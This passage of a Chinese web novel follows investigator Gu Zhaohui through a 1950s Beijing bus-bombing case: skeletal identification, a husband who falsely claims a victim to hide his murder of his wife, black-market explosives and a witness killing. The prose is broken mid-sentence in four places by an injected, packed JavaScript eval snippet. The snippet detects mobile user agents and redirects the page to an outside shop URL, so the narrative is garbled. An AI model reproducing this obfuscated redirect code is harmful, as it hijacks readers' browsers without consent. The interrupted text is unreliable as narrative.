这次爆炸案初步统计，已经死亡十三人，重伤九人正在抢救，另有六人轻伤，售票员当时在车前面跟司机说话，爆炸时人直接从车窗撞了出去，虽然重伤，经过抢救两个小时前已经清醒，她简单说了一下情况。 车上算上司机跟她一共三十二人，车上一共二十四个座位，当时有除去她和司机有六个人站着，几个人都是在车中间位置靠后门的地方站着。 这样看来，现场遗留不是三个而是四个。 顾昭蕙听了点点头“确实是四个。”她指了指一块雨布上放着的四堆有点看不清形状的物体，“那是四个盆骨。三男一女。其中女性死者头骨还没有找到。”顾湘不是法医，但是她曾经关注过法医学，看过法医学书籍，没有进一步的进修，不过对于她来说只要看过就行了，见过即学过。 虽然和未来法医能力还不能相比，但是通过盆骨确定性别还是没有问题的，如果回去检查一下测量数据，或许还能判断死者年龄等信息。不过现在只能初步判断。 这案子太大，办案人员也不管是几点，利用现有信息查找线索，轧钢厂那边先给了回信，“李照林，采购员，昨天他跟单位另一位叫张辉的一起去延庆那边采购，确认两人同行，说是接了电话，说是延庆那边有个村子杀猪了，他们赶紧赶过去，听说走的挺急的。”调查的同志将调查来的信息报告上来。 顾昭蕙站起身直了直腰，天空已经泛起了鱼肚白，眼看天就亮了。 “核实信息，要问过当天与他们接触的人，看看他们行动路线和时间。” “是。”将需要问的问题记录下来，然后快速离开。 “如果确定了他们行动路线和信息属实，就能派出两人的作案可能。”齐云松手里抓着一个头盖骨走了过来。 “嗯，差不多可以排除了，不过还要确切信息。”她看向那块头盖骨“找到了。” 齐云松点点头“找到了在车外草丛里，应该是被爆炸冲击飞了出去。” “应该是一名个子不高的女性。”顾昭蕙猜测道。 “范队已经将信息贴了出去，寻找失踪人员。在这条线上，应该很快就能得到信息。”齐云松说道。 “希望如此。” 搜查工作持续到第二天中午，得到一些衣服碎片，其中有两套轧钢厂工作服，经过信息确认就是李照林和张辉，调查人员查过与他们一个办公室的工作人员，确定了李照林当时接了电话，然后带着张辉快速去了汽车站。按照时间算两个人骑着自行车也将将赶上那辆车，所以他们两人上车后没有座位。 这也基本排除两个人的嫌疑。 剩下一男一女两个人的信息就不是很清楚了。 客车上幸存的乘客，回忆一些信息，女性死者身高不到一米六，看起来不到三十岁，身上穿着一件蓝灰色对襟呢绒上衣，短发，也是没有座位，站在过道上。 至于最后一位，也是最有可能有嫌疑的人，身高一米七五左右，他带了个帽子，上车后站在前面位置。不过因为李照林和张辉在车已经开动后上来，他们往中间走了走，那个人也就往中间走了一下。 具体样貌没有看出来，回忆的乘客实在想不出来这人样貌，‘不过他穿的好像有点多，他应该长得很瘦，但是衣服鼓鼓的。’ “所以重点就是这名男性乘客。”齐云松将笔录放到桌子上说道。 顾昭蕙低头仔细检查着面前的头骨，头骨已经将上面的蛋白组织去掉“李照林和张辉都多大年纪？”她问了一个不相干的问题。 齐云松将新送过来的资料翻看了一下“张辉二十五岁，李照林三十二岁。” 顾昭蕙点点头“嫌疑人，三十八岁，上下浮动一岁，身高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245855|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约一米七六左右。体重在七十公斤上下。” 一边的卢莫惊讶极了“顾组长，这是怎么判断的？” “从头骨闭合痕迹上可以看出来，不过这种有些误差，另外找到的脚骨小腿骨，经过计算也可以算出身高。这里面有三具男性尸骨，将李照林和张辉排除，剩下的就是嫌疑人的。” 顾昭蕙又跟段洪和卢莫一起说一下判断依据，那边齐云松发现她口中出现很多专业术语，赶紧说了一句“我去找人看看定时器。最新资料放到这里了，你有时间看一下。”说完赶紧离开。 顾昭蕙应了一声，继续跟两人科普。 车上除了那名女性和□□携带者，其他人身份已经确定。家属也过来认领过了。 范伟强将车上幸存乘客进行了笔录，基本还原了事件经过。 车上一共六位没有座位的乘客都是后上来的，炸弹应该就在倒数第三位上来的男人身上，爆炸发生时，其中一位乘客正好看着那个方向，具他回忆，那个人并没有什么动作，他就站在那里身体随着车晃动，甚至还微微眯着眼睛。 另外根据几名清醒过来的乘客，做了画像，已经张贴出去，暂时没有结果。 “那名女性乘客也要查清楚身份，她离那个男人很近，也不能确定她就没有问题。”顾昭蕙从解剖室出来洗了澡换了一身衣服，整个人清爽了许多。 “□□已经确定了就是定时炸弹，这样一来无法确定携带者是否知道炸弹带有定时器。”齐云松拿着报告“根据炸弹专家说，这种定时器安装方法是军统曾经用过的。当时他们特务培训有这一科目，但是能用手表将炸弹连接的这么好，没有几个人。但是这样一来无法确定策划者是有目的的投放，还是只是随机爆炸引起恐慌破坏。” 顾昭蕙点点头，“你说的对，我们得加快速度，我可不想听到第二次响声。” 两人说着话进了办公室，办公室里只有白蓉在其他人都出去查找线索了。 周柏突然从外面走进来“组长，有个男人过来报案说他妻子失踪了，我问过，他说他妻子当天要回延庆娘家本来说好晚上回来的，晚上没有回来，他又听说汽车爆炸案，所以过来问问情况。” 顾昭蕙皱了一下眉头“这都过了一天了，他才过来？” “说是早上去上班了，下班发现妻子还没有回来所以才过来看看情况。” “让他进来描述一下她妻子的样貌，还有当天穿的衣服。辨认一下死者的鞋子。”女性死者几乎没有太多标志性的物品，只有鞋子是那种女性皮鞋，是完整的。 周柏点点头。 顾昭蕙坐到桌子前面，没有动，昨天晚上到现在一直没休息，她也有些累了。 “我让大师傅做了面条，等会你吃了，回去休息一下。” 顾昭蕙摇了摇头“我就在办公室休息一会就行，范队那边还没有什么消息过来吗？” “没有。”齐云松摇了摇头“这种排查太难了。”撒下去大把的人在车站附近寻找昨天可能得目击者，跟大海捞针没有什么区别。 “对了我之前想到了劳力士手表的事情，劳力士手表挺难见的，如果是凶手本人的，我觉着有点问题，这样一块手表，大多数人都会好好佩戴，怎么会拿出来做炸弹。成本未免太高了。你说有没有可能是从旧货商店买的？”这块手表在三几年的时候想要购买也要花几百个大洋，这手表也不是随着时间推移就贬值的，一般人不会想用这个来做炸弹定时器，除非对他来说不值钱。 76. 第 76 章 第六十六章 从手表方面下手也不容易，不过这年代能出这样手表的地方，就是以前的当铺，现在不允许当铺存在，当铺都变成二手商店了，现在还不是几年后，等过两年全行业公私合营，就会有委托商店代替这些商店。 京城经营二手商店很多，好在这次案子非常大，市局非常重视，从市里各派出所都调人过来，辅助调查。 “除去二手商店，鸽子市也要看看。”齐云松觉着这个线索想要查到点什么有点困难。 顾昭蕙将饭盒里的面条吃干净，难得她吃了一饭盒，还带了一个煎鸡蛋。 擦了擦嘴，顾昭蕙看了看时间已经六点了，过了下班点，靠在椅子上。 正消食，周柏走了进来，拿着几张纸，“组长，这是刚才来认尸的人做的笔录。” 顾昭蕙接过来，翻看一下，突然眉头皱了皱“他确定了那就是他妻子吗？” 周柏点点头，“我让他看过死者遗物，他认出死者的鞋子。” 顾昭蕙仔细检查着，“不对劲，死者穿着的是蓝灰色上衣，不是蓝色上衣，这两个有些区别。”她眉头皱了皱，回忆一下，看向周柏“你给他看的衣物是不是上衣兜位置那块。” 周柏回忆一下，“是的。有什么问题吗？”他没看出什么问题啊。 顾昭蕙摇了摇头“不对，死者的那身衣服是蓝灰色，虽然带着一个篮字但是跟蓝色还是不同的，而那块衣服是衣服兜的位置内衬是蓝色的，而外边因为血液浸染看不出原本的颜色，所以光看衣服实际上是不能确定死者的。” 周柏点点头，“那他是冒领？” 低头思考一下“这样，周哥你去调查一下他家里的情况，还有他妻子的基本信息，身高体重，看看与死者是否相似。”顾昭蕙觉着事情不能那么绝对，不能因为一个衣服颜色问题，就怀疑对方有问题。 周柏应了，转身出去了。 周柏其实并不认为对方会冒认，他觉着顾昭蕙似乎有些敏感。 去受害者家里并不近，他和从下边派出所抽调过来帮忙的公安小王，一起坐公交车过去的，大概用了四十分钟，他们住的地方是轧钢厂家属院，没错这位也是轧钢厂的工人，如果确定身份的话，那么这次爆炸案就会涉及三位轧钢厂的工人。 到了家属院，其实就是一个大杂院，还没进门就听见里边大声的哭声。 两个人走到院子里，就看前院西厢那边有不少人围着，里边有几个人抱头痛哭。 “公安同志来了，大家让一让。”一个老头看到他们两个赶紧让人群让开。 “公安同志你们可要为我做主啊，我那儿媳妇死的好惨啊。”一个老太太哭着就扑了上来。 周柏被弄得一愣，赶紧扶住老太太。 “您还请节哀。我们一定会抓到凶手的。”周柏赶紧安慰道。 这时候死者丈夫走了出来，看他整个人也是一脸悲伤的样子。“两位公安同志你们过来是有凶手的消息了吗？” 周柏摇了摇头“我们是有些事情想要了解一下。” 男人叫刘喜贵，“啊，那请两位进屋吧。” 那边老太太也不哭了，擦了擦眼泪，把两人往屋里请。 几个人进了屋，周柏看屋子里有两个女孩，大的四五岁的样子，小的可能才两岁，都不大，看起来有点瘦弱，低着头怕生的样子。 进了屋子，西厢房不大，只有两间，这一家子至少有五口人，住着还是有点窄。 “哎，家里有点乱，两位同志，你们坐。”刘喜贵拍了拍床，让两人坐下，周柏趁着坐下的功夫看了看屋子里情况，两间屋子，里边有一张炕估计是老太太带孩子住的，里边屋地上放了一些包裹，乱七八糟的好像将柜子里的东西掏出来一样。 可能是看着他打量，刘喜贵不好意思的说道“昨个我跟孩他娘吵了嘴，她脾气不好，前天发工资，我不小心丢了十元钱，她就说我把钱藏起来了，翻箱倒柜的找，没找到还跟我生气，回娘家了。谁想就出了事呢。都怪我要不是我把钱丢了，她也不会赌气回娘家。”男人说着蹲在地上流眼泪。 周柏等他平静一会问“家里有你妻子的照片吗，我们这边需要用一下。另外能说一下你妻子的身高体重都是多少吗？” 男人抹了把脸，摇了摇头“家里只有一张一寸照，她不爱照相，身高体重，也没量过啊。”说完就从屋子里一张五斗柜的抽屉里拿出一张一寸照。 周柏皱了一下眉头，接过照片，照片有点模糊，似乎很早之前照的，想了想说道“我能看看她的衣服吗？” 男人愣了一下，然后有些木然的点点头，进了里屋拿了一件衣服过来，周柏看了皱了一下眉头，接过来，仔细一看，发现是一件对襟的玫红色的上衣。 “这件衣服我能先带回去吗，等案子结束还会送回来。” 男人点点头“没事您拿去吧。” 周柏又问了几个问题，然后就跟小王告辞离开了。 出了院子，小王问周柏“周哥，你是不是怀疑他有问题啊？” “哦，你看出什么了？”周柏看向小王说道。 “我就觉着你问的几个问题跟这个案子没有多少关系。”小王绕了绕头，不好意思的说。 周柏笑了，接着严肃的说“是有些问题。他妻子身高体重这种问题，一直没有回答，我问了两次，都回避了，另外地上那几个包裹我也觉着奇怪，他妻子就算回娘家了，为什么那些包裹不放回去。除此之外就是衣服的问题。我让他拿衣服，他拿的应该是结婚时候穿的衣服，虽然这件衣服很好，但是跟爆炸案中女死者身上穿的衣服比就差了许多，他家里条件一般，甚至有点拮据，我问过他妻子没有工作，一家子五口都靠他的三十七元钱的工资，应该是不会买呢子大衣的。” 之前并没有一个直观的概念，到家里看过才知道，他妻子应该不会穿着呢料的服装。 当然也有他妻子爱美，花了大价钱买衣服，但是他也观察过门口放鞋的地方，一双女人棉布鞋，是那种自己纳的鞋底，他全家都穿着布鞋，女人又怎么会穿八元一双的皮鞋呢。对这个家来说太奢侈了。 两人回到单位，发现几位同事还都在办公室里，包括组长，都没有回家。 顾昭蕙正看着下边送上来的笔录，这个案子太大，很多人从外面进行排查，她干脆给家里打电话，没有回去，刚才趴桌子上眯了一会，下边就送来了报告。其中就有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我假扮我媳妇去汽车站，当时车快开了，我看见一个男人跟在她身后。俩人前后脚上的车。那个男人眼睛就盯着她。之后我就走了。” “你见到她了，衣服还认错了？”周柏怀疑他的口供。 “我光看脸了，那女的长得还挺漂亮。” “怎么知道她死了的？还冒领？”周柏问。 “那天我有点心烦意乱的，不知道怎么处理我媳妇的尸体，等我知道爆炸案的时候都是早上了，我们院里有个人的亲戚也坐那辆车，不过他离得远，人受伤住院，院里邻居就去看他，回来的时候听他说的，车上几个人被炸的多惨，人都认不出来了，还说有个女的长得挺漂亮的，可惜了。” “我听了就觉着是个机会，我想着她不是本地人，要是说成我媳妇，到时候等事情过去了，我再找个地把我媳妇埋了，估计就没人知道这事了。所以我才去的。” 看到笔录顾昭蕙都不知道说什么好了，这个刘喜贵，怎么说呢，脑瓜转的还挺快的。就是没到正地方。 “他怎么确定后边的男人是跟踪女人上的车？”如果这么看，那个追着女人上的车的男人就是携带炸弹的人，那么那个女人的身份就很重要了。 77. 第 77 章 第七十六章 事情越来越复杂，各个方向的调查反馈回来的线索，没有多少用处，直到第二天中午也没有确认□□携带者的身份。 定时炸弹经过几位专家的确认，手法就是当年军统学习班教过的，不过根据内部消息，学会这种手法的人，都是后两批学员，拢共不超过三十人，但是想知道具体有谁，也是没有办法搞清楚的，现在他们觉着事情更急切，因为如果时特务的话，事情会更复杂，敌人也更疯狂。 顾昭蕙和齐云松两个人去查那名女死者的身份，首先是通告津市。让那边确定一下最近报失踪人员，尤其各单位，没有上班的人员都要经过确定，那个女人穿着一身呢子上衣，看起来是个工作体面的人。 这边也要确定她的身份，既然她来这边几次，肯定有人见到过，直接进行大排查，希望尽快将人找出来。既然那个□□携带者跟着这位女士，那么案子是不是跟她有关系，或许她是直接关联人。 另外一边，郊区鬼市上查到了炸药来源。 鬼市在很早之前就有，夜里开天亮关，这里什么都有可能交易，前段日子治安整顿，鬼市是重点打击对象，之前有次搜查发现有个叫癞爷的，倒卖枪械，治安整顿的时候被抓了起来。 这次调查炸药的事情，就将他提了出来，这人也知道自己身上罪名大了，就将鬼市的一个对家给举报了。 齐云松找到线人，问了鬼市开市的时间，突袭，将那位叫吴三爷的人，给逮住了，这人这次倒是没有倒卖违禁品，不过从他身上查出粮票，还有各种票据，完全可以让他去农场改造一阵。 吴三爷消息灵通，他知道最近公安查什么，为了不蹲笆篱子，直接将自己知道的事情抖搂出来。 “就是前门的二林子，他给人牵线说是卖了两包雷子。俩星期前的事。”吴三爷交代道。 “二林子大名叫什么？”齐云松问。 “林二河，家住前门草甸子胡同七十八号。” 得到这个信息，顾昭蕙和齐云松迅速带人去了草甸子胡同，结果又晚了。 “来晚了一步。”齐云松摸了摸林二河的脖颈，发现还热着。 顾昭蕙眼睛迅速查看死者，面容与他们了解的差不多，左边眉毛上有颗痣，是林二河本人没错，死亡原因是脖颈处大动脉被割，刀口是一条直线，凶手非常果断。一刀抹了脖子，凶手右手行凶，看地上的喷溅血迹，凶手身上应该有一些沾染。 地上脚印两人并排进屋，熟人，或者认识，看脚印，初步判定凶手形象。 “凶手身高一米七三至一米七五，体重六十七公斤左右。右撇子。”她说着脑海闪过很多人影，接着突然有一个男人出现在她的脑海中，刚才过来的时候她骑着自行车在胡同另一头有一个穿着蓝色上衣的男人，跟这个数据一致。 顾昭蕙忽地站起身，“是个穿蓝衣服的男人，刚出胡同。”说着就往外跑。 齐云松愣了一下迅速起身，“看着现场不要让人进来。”跟李想交代一声，就跟了出去。 顾昭蕙出了院子，就往胡同另一头跑，她脚步慢，齐云松快，很快就跟上了，“他上身穿着蓝色上衣，下边是一条黑色裤子，布鞋。”脑海中影响反馈就这么多，背对着他们没有看清脸。 跑出胡同，顾昭蕙皱着眉头将脑海中影像一遍遍调动，她没有看到那人拐弯方向，但是她反复观看对方的动作步态，“这边。”说着就往左边拐去。 她跑了一会，迎面有几个人骑着车子路过，顾昭蕙不得不像旁边躲一下，霍地，她突然伸手拉住一个骑车人的衣服。那人车速不慢，顾昭蕙身材不高大力气也不是特别大，拉住那人，她身体也被带了一趔趄，那人随即摔倒。 “哎呦。你干什么？”那个男人摔倒后，脸上怒容。 顾昭蕙这边摔倒，齐云松虽然不明白她这样做是为了什么，但是不妨碍他的动手，直接将男人双手反掰，按在地上。随手将腰间的手铐拿出来将人拷住。 顾昭蕙腿磕到墙边的石头上。好一会才站起来，走到男人身边，拉了男人衣领，一下子将他的外套给拉开了，露出里边白衬衫，就在白衬衫胳膊那个位置有一块红色痕迹，“准备的还挺充分啊，这么快换了衣服，是不是还想去你的犯罪现场走一下啊。”顾昭蕙松开手。非常感谢自己的大脑，只靠那一撇，就将凶手的一些特征标记好，鞋子和裤子数据清晰，另外淡淡的血腥味也让她更加确认了。 齐云松将人扯过来，将他的外套彻底拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282240|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开，果然就在衬衫的左边，有一道血迹，他看向顾昭蕙“你眼睛可太好使了。这都能看出来。” 顾昭蕙笑笑，扬了扬头“换了上衣，裤子和鞋子没有换。”她看向男人“外套扔那了？”这么段时间肯定不会将外套藏起来或者销毁，最有可能的是提前有了准备，快速换装，然后将衣物放到一个安全地方，过后再转移。 知道自己暴露了，男人一声不吭。 齐云松抬脚踢了他大腿一下“问你话呢。外套扔那了？” 男人依然保持沉默，这人三十多岁的样子，看样貌就是那种特别老实的人，但是顾昭蕙看到他的样子，觉着这样的人，有些轴性，估计不会那么容易开口，不过没关系，距离不会太远。 顾昭蕙笑了笑，“你这痕迹太明显，完全可以确定与死者是同一血型，另外你的脚印也可以和犯罪现场进行比对，我想凶器和衣服，应该没藏多远吧，自行车停在哪了？我们从发现尸体到找到你用了五分钟，五分钟你能走多远。”她往男人来的地方看了看，眉头皱了一下，“真是，那个地方味道可不怎么样。” 说完也不问他了，将地上的自行车扶起来，跟齐云松歪了歪脑袋，带着他就往前走，齐云松压着人就往前走。 三个人没走多远，就到了一个公厕，顾昭蕙从男厕那边地上看了看，忍着难闻的味道“估计不是扔厕所里就是藏起来了。” 齐云松将人锁在厕所门口的树上，小树不粗，背着手将手铐上。然后走到厕所。顾昭蕙站在男人后边看着他。这种人没准有什么手段需要看的紧一点。 过了不到十分钟，齐云松从厕所里出来，“藏棚顶上了。还挺能藏，差点掉粪坑里。”齐云松一脸嫌弃的将手上的东西扔到车筐里。 带血的衣服，还有匕首。 将人带回局里，林二河虽然死了，凶手抓住了，价值更大，只是看这人的样子，不那么容易开口。 “身份查到了。林业局的，叫方槐。”齐云松将资料放到顾昭蕙面前。 “林业局？八竿子打不着啊。”顾昭蕙接过资料念叨了一句。 对方一直没有说话，身上也没有身份信息，但是他骑的自行车是上了牌子的，从车管局查到车子的主人就是方槐。 78. 第 78 章 第七十八章 方槐的信息还是很好查的，不过这个人本身没有什么问题，早些年虽然在伪政府工作过，但是他只是一名会计，后来更是早早地辞了职，并没有更多的劣迹。 四九年后，找了林业局工作，平常也是老老实实的，因为早年的一些污点，他一直在基层工作，尽管知道他犯了罪，单位领导和同事也没有说出他更多不好的地方，总的来说就是一个兢兢业业工作的老实人。 但是就是这样的一个人，竟然犯了杀人大罪，提取了现场的脚印，匕首上的指纹，还有衣服上的血迹，证据确凿。 对方槐的审问一直没有进展，局里负责审讯的专家，连续审讯几个小时，都没有结果，方槐根本不说话。一直保持沉默。 顾昭蕙对方槐进行了细致调查，他有妻子和两个女儿，妻子也是林场的人员，女儿一个十岁一个五岁，家里看起来很和睦，邻居都说这人性格很好，很少听到他们家里人吵架。知道他杀了人，所有认识的人都不敢相信。 “这其中一定有我们查不到的地方，这人不可能无缘无故去杀人，还是在这个节骨眼上，杀了咱们最需要的人证。”齐云松皱着眉头从方槐家里出来。 顾昭蕙也在回忆今天得到的方槐的资料。 这个人一直生活在人群之中，他的人生经历简直可以说是放在阳光下的，“太清白了。” “不可能。或许我们查更早的信息。我去找人查他在伪政府工作的事情。”齐云松说，那方面信息就要找三处去查，过去十几年很多信息都不全了。只能走特别渠道调查。 “我们不能在他这边卡住，关于那名女死者还要调查。”顾昭蕙说道。 距离爆炸案已经过去三天了，案子没有进展，顾昭蕙也急，但是再急案子也要一步步的去办。 终于在第四天，他们确定了女性死者的身份，津市得到了汇报，那名女性是津市报刊的编辑，叫徐乔艺。 而徐乔艺到京城来的目的，让顾昭蕙大吃一惊，徐乔艺之所以来京城是到这边跟人相亲的，实际上她已经相亲成功了，而让顾昭蕙吃惊的原因是，她相亲对象，就是年前跟她相亲的程昱。 来京几日徐乔艺，都是进出附近的军区大院，之所以坐上那辆车，是因为程昱的军区驻地调到延庆那边，她看过程昱父母后，就坐车去延庆那边，没想到会遇到这样的事情。 说实话顾昭蕙对程昱没有太深的印象，她脑海中关于程昱的信息已经隐藏极深了，属于那种扔在垃圾桶里的信息，所以当听到这个名字的时候大脑还反应一会，将垃圾桶里的东西拣出来。 齐云松对他比顾昭蕙印象，就深多了，听说她去相亲后，他特意了解了一下，这位程昱人不一般，本身父母就是参加过长征的老红军，他也是在他们影响下早早的就参军，参加过多次战役，更是在年级轻轻就成了一团之长，这人还有学识，长得也好，是这年代普通人喜欢的那种伟光正人物。 接着自己的工作便利，当初齐云松将程昱几乎查了个底掉，当然是偷偷查的，不过这是两个人相亲后的事，他觉着顾昭蕙很好，所以他就觉着这个人说不定会继续约顾昭蕙，难保顾昭蕙不会动心。 谁知道这个程昱对她还真没啥想法，说实话齐云松面对程昱的履历都有点自卑，谁让这人是这个年代女人最想嫁的那种人。 “我不知道她要过来。”程昱没想到再次见到顾昭蕙是在这种情况下。 “她从津市过来没有跟你约好吗？”齐云松问，顾昭蕙在一边看着，观察着程昱的表情。 程昱摇了摇头“没有约好，我工作很忙，最近忙着练兵，连家都没有时间回去，她最近过来都是去家里看看我父母，然后到军营这边来。一般也待不了多长时间就要回去。” “她有没有跟你说过，有什么仇人？或是有没有什么追求者？我们调查的情况看来，最近她几乎每个星期过来一次？是有什么事情吗？”齐云松继续问。 “她能有什么仇人，我们两个在一起也就一个多月，这段日子她过来是找我说调动的事情，她工作在津市。我们两个如果将来结婚两地不太好。不过我说这事情还是等结婚后，到时候打个报告应该不能办理。但是她有点着急，希望能早点调到这边来。” 程昱这边信息也不是很多，他平常都在军营里，基本上连家都很少回。 “听说这位程团长的行情很好，好多人给他介绍对象，但是他都没有同意，没想到会选一个津市的。”齐云松骑着自行车往市局走。跟旁边顾昭蕙说道。 顾昭蕙说道，“很多人喜欢他吗？” “可不是听说军区大院里就有好几个家里想把女儿嫁给他。这人家庭好，能力强，长得还好。所以喜欢他的人也多，他人还深情，听说以前有个战友去世了，他一直怀念。都不想结婚呢。”齐云松发现顾昭蕙对程昱是真的没有一点意思，所以他也不吝啬夸奖一下。 顾昭蕙看着齐云松“你说他长得好？”是她的问题还是齐云松的问题。 “长得不好吗？女人不都喜欢那样的一看就特别可靠，人还正。” 顾昭蕙突然刹住车，皱着眉头想着什么。 齐云松赶紧双腿叉开，将车停住“怎么了？” “按照之前刘喜贵说的，那个男人是追着徐乔艺上的车，你说他跟踪徐乔艺上车是为了什么，他身上又为什么带着炸药？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297058|130848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 齐云松想了想说“你是说他想跟着徐乔艺进军营？不可能军营是不会让他随便进入的，更何况按照刘喜贵说的，徐乔艺是不认识他的。” 顾昭蕙点点头，“你说我们是不是把事情想复杂了，定时器。如果定时炸弹不是那个携带者定的，是另外的人定的时间，那么他们能不能确定在什么位置爆炸？” “不会确定，他们没有办法确定，按照咱们最新调查，徐乔艺离开程家，去了一次百货商场，给程昱买了东西，然后又去了一次邮电局，给家里发了个电报，已经确定了，她发的电报，告诉家里自己这两天不回去，可能是调动的事情，按照程大校说的，他们已经准备给徐乔艺办理调动的事情，所以徐乔艺才会想留下来，那么这其中的路程是不定的。”他们在去程昱那里的时候已经跟他家里联系了，程家父母都在大院里，想要找他们很容易，这个案子这么大，谁也不会把他们排在门外。 “这样我们换个思路，制造爆炸案，动机到底是什么？因为刘喜贵的口供，我们将目标放在了徐乔艺身上，假设凶手就是奔着徐乔艺来的，会不会原因也很简单？” “你是说对方跟程昱有关系？”齐云松问到。 顾昭蕙摇了摇头，骑上自行车，“说不好。”按理说这个案子的□□跟军统训练班有关系，这个案子也许就跟特务有关系。 可是他们查了几天，感觉有点东一榔头西一榔头的感觉。没有头绪。本来跟炸弹有点关系的人还被杀了。 “你说咱们刚查到跟炸弹有关系的地方，怎么那个关键人就被杀了呢？” “有内鬼？” “不，可能从吴三爷那边被抓的时候就暴露了，或许从黑市那边露的。”顾昭蕙还是很相信他们这边的同志的。她脑海中推演了一下，吴三爷被抓后，没有多长时间就将林二河的事情给露了出来，然后他们去抓，如果是他们内部人员透露的消息，那个方槐不会那么快反应。 方槐的身份他们还没有查的彻底，但是可以看出来方槐就是一个杀手，听了命令动手。从他接到命令再杀人，是有个时间过程的，如果从吴三爷招供那边算起，时间不够，反而是从他被抓开始计算，时间正正好。 “我去把黑市。”齐云松听到这里也明白了，也不会局里了，直接去找人打听了。 顾昭蕙回到局里，查看一下最新信息，依然没有发现手表信息，或许这个手表还真就是凶手自己的。 这时候白容从外边走进来，“小顾，这个刚才法医科那边拿来的□□报告。” 顾昭蕙接过来翻看一眼，愣了一下，‘固体炸弹。’这东西很难弄到的，不对，顾昭蕙又看了一下吴三爷的口供。 79. 第 79 章 第七十九章 顾昭蕙记得吴三爷交代林二河那边跟人搭线买了一批炸药，那批炸药是普通的炸药，并不是固体炸弹，这种固体炸弹是很难弄到的，说起来还是当年军统那边从丑国那边弄到一些。存量很少。 顾昭蕙脑袋都大了，她捋了捋这几天的案子，汽车爆炸，炸弹威力很大，这个符合固体炸弹的爆炸情况。他们发现炸药的线索，是从吴三爷那里知道的，吴三爷供出林二河，然后林二河被灭口。 她仔细看看发现问题所在，林二河牵线卖出去的炸药，恐怕跟这次的爆炸案用的炸弹根本就是两种东西，汽车爆炸案，与黑市炸药没什么关系。 她叹了口气，这案子真是一波三折，竟然牵扯出刘喜贵杀妻案，还有林二河炸弹案。简直了，太乱了。 将报告放到桌子上，顾昭蕙突然想到什么，将自己笔记本里的一张照片，递给白容看“白姐，你看看这个人，你觉着他长得好不好？” 白容瞥了一眼，然后又拿过照片，“挺好的。谁呀，给你介绍对象的？挺帅气的。” 顾昭蕙摇了摇头“不是，那你说齐云松和他比，那个好看？” “这人呗，小齐太细高挑了，有点不太稳重的感觉。” 顾昭蕙将照片拿回来，然后又夹回笔记本里，原来真是她审美有些问题。 那张照片是程昱的，今天回来路上齐云松跟他说程昱条件好，喜欢他的女人很多，她就觉着奇怪，总觉着程昱就是那种容貌一般的人，就是人看着很正直的那种，看起来还没有齐云松好看呢，但是这会她倒是明白了，她跟这年代人审美有些不同。 顾昭蕙忍不住笑了笑，突然想到当初婆婆田静兰跟她说的，程昱条件这么好那么好，见了面后她就觉着跟对方不合适，那人还有点大男子主义，对于女性有些看不上，他应该是喜欢那种比较顾家的，对他能默默付出的女人。 齐云松效率很高，三个小时候，就拎了一串人回来，“搜到了。这人叫鲁浩，炸药就是他从开山队弄来的，原本是想弄点炸药去水库炸鱼，结果发现开山队那边火药管理不严，那边火药都是自己配置的，多点少点的，没人查，他弄回来，高价卖出去，之前手上有一批炸药，通过林二河卖了。不过我刚才问了一下，他也不知道对方是谁，对方在西直门那边大澡堂子那边有个联络点，已经过去抓了，吴三爷这边被抓就是他透漏出去的。之后方槐做事他也不清楚。” 顾昭蕙摇了摇头“这人不老实，在黑市那种地方敢卖炸药，肯定要留一手。” “我也这么想的，等会去审一审。”齐云松喝了一大杯水。 “你看看这个。”将□□检验报告递给他。 齐云松看了一眼，差点把水给喷了。 “固体炸弹。”他眉头皱着好一会“这是两个案子？” “嗯，应该是了。不过黑市这边，估计是跟特务有关系，看手段，是特务购买的炸弹，也需要快点查清，不然炸弹一响。也是乱子。” 齐云松点点头，没忍住拍了拍脑袋，“这事弄的。” 由一个爆炸案牵扯出另外两个案子是谁也没想到的。黑市这边炸弹案，由王星的二组接手了。都不是小案子，人手有点不足。 顾昭蕙突然有了个新思路，从程昱这边查起，关于程昱这个人，顾昭蕙是不喜欢的，但是经过调查发现，这人真的就是这年代人们心中的那种英雄。 之后当他们查找程昱的信息时，发现程昱真的很受女性欢迎，这几年光是爱慕他的女性就有四五位。 